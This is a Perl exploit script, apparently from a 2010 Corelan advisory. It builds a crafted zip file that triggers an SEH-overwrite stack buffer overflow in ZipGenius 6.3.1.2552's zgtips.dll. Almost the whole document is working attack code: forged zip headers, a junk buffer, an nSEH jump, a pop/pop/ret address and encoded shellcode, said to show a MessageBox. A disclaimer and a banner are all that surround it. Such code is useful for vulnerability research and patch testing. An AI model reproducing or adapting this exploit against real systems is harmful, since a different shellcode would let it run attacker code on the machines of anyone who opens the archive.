# Exploit Title : ZipGenius zgtips.dll Stack Buffer Overflow# Corelan : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-029# Date: April 21st, 2010# Author: corelanc0d3r, mr_me and rick2600# Bug found by: rick2600# Software Link : http://www.zipgenius.com/# Version : v6.3.1.2552# OS: Windows# Tested on : XP SP3 En (VirtualBox)# Type of vuln: SEH overwrite# Greetz to : Corelan Security Team# http://www.corelan.be:8800/index.php/security/corelan-team-members/## Script provided 'as is', without any warranty.# Use for educational purposes only.# Do not use this code to do anything illegal !# Corelan does not want anyone to use this script# for malicious and/or illegal purposes.# Corelan cannot be held responsible for any illegal use.## Note : you are not allowed to edit/modify this code.# If you do, Corelan cannot be held responsible for any damages this may cause.### Code :
print "|------------------------------------------------------------------|\n";
print "| __ __|\n";
print "| _________________/ /___ _____ / /________ _____ ___|\n";
print "|/ ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/|\n";
print "||\n";
print "| http://www.corelan.be:8800 |\n";
print "||\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n";
print " [+] Exploit for ZipGenius v6.3.1.2552\n";
print " [+] Preparing payload...\n";
my $filename="zipgenius.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00"."\xe4\x0f".# file size: don't change"\x00\x00\x00";
my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\xe4\x0f".# file size: don't change"\x00\x00\x00\x00\x00\x00\x01\x00"."\x24\x00\x00\x00\x00\x00\x00\x00";
my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"."\x12\x10\x00\x00".# "\x02\x10\x00\x00".# "\x00\x00";# Corelan Team MessageBox
my $shellcode =
"\x89\xe5\xdb\xd3\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49"."\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"."\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"."\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"."\x42\x75\x4a\x49\x49\x49\x4a\x4b\x4f\x6b\x4a\x79\x51\x64"."\x51\x34\x49\x64\x45\x61\x48\x52\x4d\x62\x50\x7a\x44\x71"."\x4b\x79\x45\x34\x4e\x6b\x44\x31\x46\x50\x4e\x6b\x44\x36"."\x46\x6c\x4e\x6b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x46\x68"."\x4e\x6b\x51\x6e\x45\x70\x4e\x6b\x44\x76\x45\x68\x42\x6f"."\x44\x58\x44\x35\x49\x63\x43\x69\x45\x51\x4b\x61\x49\x6f"."\x4d\x31\x45\x30\x4e\x6b\x50\x6c\x45\x74\x47\x54\x4c\x4b"."\x43\x75\x47\x4c\x4c\x4b\x46\x34\x45\x55\x44\x38\x47\x71"."\x49\x7a\x4c\x4b\x42\x6a\x47\x68\x4e\x6b\x50\x5a\x45\x70"."\x43\x31\x4a\x4b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54"."\x4c\x4b\x43\x31\x48\x6e\x50\x31\x49\x6f\x45\x61\x49\x50"."\x49\x6c\x4e\x4c\x4f\x74\x4f\x30\x50\x74\x44\x4a\x4a\x61"."\x48\x4f\x46\x6d\x43\x31\x4f\x37\x4b\x59\x4a\x51\x4b\x4f"."\x4b\x4f\x49\x6f\x45\x6b\x51\x6c\x46\x44\x44\x68\x44\x35"."\x49\x4e\x4e\x6b\x42\x7a\x51\x34\x43\x31\x4a\x4b\x45\x36"."\x4e\x6b\x44\x4c\x42\x6b\x4c\x4b\x50\x5a\x47\x6c\x43\x31"."\x48\x6b\x4e\x6b\x46\x64\x4e\x6b\x47\x71\x4a\x48\x4f\x79"."\x50\x44\x46\x44\x45\x4c\x50\x61\x4a\x63\x4f\x42\x46\x68"."\x45\x79\x4a\x74\x4f\x79\x4d\x35\x4b\x39\x4b\x72\x42\x48"."\x4c\x4e\x42\x6e\x46\x6e\x48\x6c\x43\x62\x4d\x38\x4f\x6c"."\x4b\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x44\x44\x4f\x4b"."\x51\x6e\x49\x48\x4b\x52\x50\x73\x4e\x67\x45\x4c\x46\x44"."\x50\x52\x4b\x58\x4e\x6b\x49\x6f\x49\x6f\x4b\x4f\x4e\x69"."\x42\x65\x44\x48\x50\x68\x50\x6c\x42\x4c\x45\x70\x49\x6f"."\x45\x38\x44\x73\x46\x52\x46\x4e\x50\x64\x51\x78\x42\x55"."\x50\x73\x51\x75\x42\x52\x4c\x48\x51\x4c\x47\x54\x47\x7a"."\x4f\x79\x4b\x56\x42\x76\x4b\x4f\x42\x75\x43\x34\x4c\x49"."\x49\x52\x42\x70\x4f\x4b\x4e\x48\x4e\x42\x50\x4d\x4d\x6c"."\x4f\x77\x45\x4c\x51\x34\x50\x52\x4a\x48\x51\x4e\x4b\x4f"."\x4b\x4f\x4b\x4f\x45\x38\x42\x78\x45\x70\x47\x50\x45\x70"."\x51\x78\x46\x34\x42\x45\x51\x71\x42\x4d\x45\x38\x42\x4c"."\x50\x61\x50\x6e\x45\x70\x43\x58\x50\x43\x50\x6f\x42\x52"."\x43\x55\x46\x51\x4b\x6b\x4f\x78\x51\x4c\x45\x74\x44\x4c"."\x4c\x49\x49\x73\x43\x58\x46\x38\x47\x50\x45\x70\x47\x50"."\x43\x58\x44\x34\x43\x59\x42\x4f\x50\x6e\x51\x78\x43\x48"."\x50\x65\x43\x53\x51\x65\x45\x38\x50\x64\x45\x35\x45\x70"."\x50\x45\x50\x68\x50\x6f\x47\x50\x47\x33\x50\x6f\x43\x58"."\x50\x6c\x45\x35\x51\x30\x43\x44\x51\x78\x42\x45\x50\x72"."\x45\x31\x50\x62\x43\x58\x50\x56\x44\x35\x42\x4c\x42\x4e"."\x45\x61\x49\x59\x4d\x58\x42\x6c\x51\x34\x45\x4c\x4b\x39"."\x48\x61\x50\x31\x4b\x62\x43\x62\x51\x43\x46\x31\x46\x32"."\x49\x6f\x4e\x30\x46\x51\x4b\x70\x42\x70\x49\x6f\x42\x75"."\x46\x68\x44\x4a\x41\x41";# --- payload ---
my $size=4064;
my $junk = "A" x 1060;
my $nseh="\xEB\x06\x90\x90";
my $seh=pack("V", 0x0295131C);# p/p/r UNIVERSAL
my $payload = $junk.$nseh.$seh.$shellcode;
my $rest = "D" x ($size- length($payload));$payload = $payload.$rest.".txt";
print "Size : ". length($payload)."\n";
print "Removing old $filename file\n";
system("del $filename");
print "Creating new $filename file\n";
open(FILE,">$filename");
print FILE $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header;
close(FILE);